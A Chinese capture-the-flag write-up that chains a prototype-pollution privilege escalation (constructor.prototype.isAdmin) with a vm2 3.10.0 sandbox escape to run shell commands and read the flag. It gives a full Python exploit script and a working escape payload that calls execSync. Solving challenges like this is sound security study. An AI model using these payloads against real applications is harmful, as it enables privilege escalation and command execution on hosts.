nodejs

Summary

这题是一条很典型的 Node.js Web 利用链:先通过 merge() 的递归合并缺陷做 constructor.prototype 原型污染,把普通用户提权为管理员;再利用管理员专属的 /sandbox 功能,结合 vm2@3.10.0 已知逃逸拿到命令执行,最终读取 flag。

Solution

Step 1: 原型污染提权

核心点在 app.js 的自定义 merge()

  • 只过滤了 __proto__,但没有过滤 constructor.prototype
  • /changepassword 在校验旧密码成功后直接执行 merge(user, req.body)
  • 因此可以提交 constructor.prototype.isAdmin=true
  • 最终污染到 Object.prototype.isAdmin
  • 后续 /me/admin/sandbox 里读取 user.isAdmin 时都会命中原型链,得到管理员权限

关键代码位置:

  • app.js:25-35:危险的递归 merge()
  • app.js:88-110/changepassword 中的 merge(user, req.body)
  • app.js:126-150:管理员判断逻辑

提权请求体如下:

1
2
3
4
5
6
7
8
9
10
{
"oldPassword": "test",
"newPassword": "test2",
"confirmPassword": "test2",
"constructor": {
"prototype": {
"isAdmin": true
}
}
}

Step 2: vm2 沙箱逃逸并读取 flag

package.json 指定依赖为 vm2: 3.10.0。该版本存在公开沙箱逃逸,管理员可调用 /sandbox 把任意代码送入 new VM().run(code) 执行,因此可以直接通过已知技巧逃逸到宿主进程,再用 child_process.execSync() 读取 flag。

我本地复现时已验证:

  • /me 成功返回 isAdmin: true
  • /admin 成功返回欢迎管理员
  • /sandbox 能成功执行 id

完整利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests

BASE = "http://127.0.0.1:3000" # 改成题目地址
USERNAME = "test"
PASSWORD = "test"

s = requests.Session()

# 1. 注册
print("[+] register")
r = s.post(f"{BASE}/register", json={
"username": USERNAME,
"password": PASSWORD,
})
print(r.text)

# 2. 登录
print("[+] login")
r = s.post(f"{BASE}/login", json={
"username": USERNAME,
"password": PASSWORD,
})
print(r.text)

# 3. 通过 constructor.prototype 原型污染提权
print("[+] prototype pollution")
r = s.post(f"{BASE}/changepassword", json={
"oldPassword": PASSWORD,
"newPassword": "test2",
"confirmPassword": "test2",
"constructor": {
"prototype": {
"isAdmin": True
}
}
})
print(r.text)

# 4. 验证管理员身份
print("[+] check /me")
print(s.get(f"{BASE}/me").text)
print("[+] check /admin")
print(s.get(f"{BASE}/admin").text)

# 5. vm2 逃逸,自动尝试常见 flag 路径
js = r'''
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const p = f();
p.catch(e => {
const proc = e.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
const paths = ['/flag', '/flag.txt', '/app/flag', '/app/flag.txt'];
for (const p of paths) {
try {
__result.value = cp.execSync('cat ' + p).toString();
break;
} catch (_) {}
}
if (!__result.value) {
__result.value = cp.execSync('id').toString();
}
});
'ok';
'''

print("[+] escape vm2 and read flag")
r = s.post(f"{BASE}/sandbox", json={"code": js})
print(r.text)

Verification

本地复现的关键返回如下:

1
2
3
4
5
{"message":"登录成功","user":{"username":"test"}}
{"message":"密码修改成功"}
{"username":"test","isAdmin":true}
{"message":"欢迎管理员!"}
{"result":"ok","output":"uid=1000(hack) gid=1000(hack) groups=1000(hack)..."}

这说明两段链已经完全打通:

  • 普通用户 → 管理员
  • 管理员 → vm2 逃逸 → 宿主机命令执行
  • id 替换为 cat /flag 即可读取最终 flag

Flag

1
远端环境执行脚本后,通过 /sandbox 返回的 output 字段即为 flag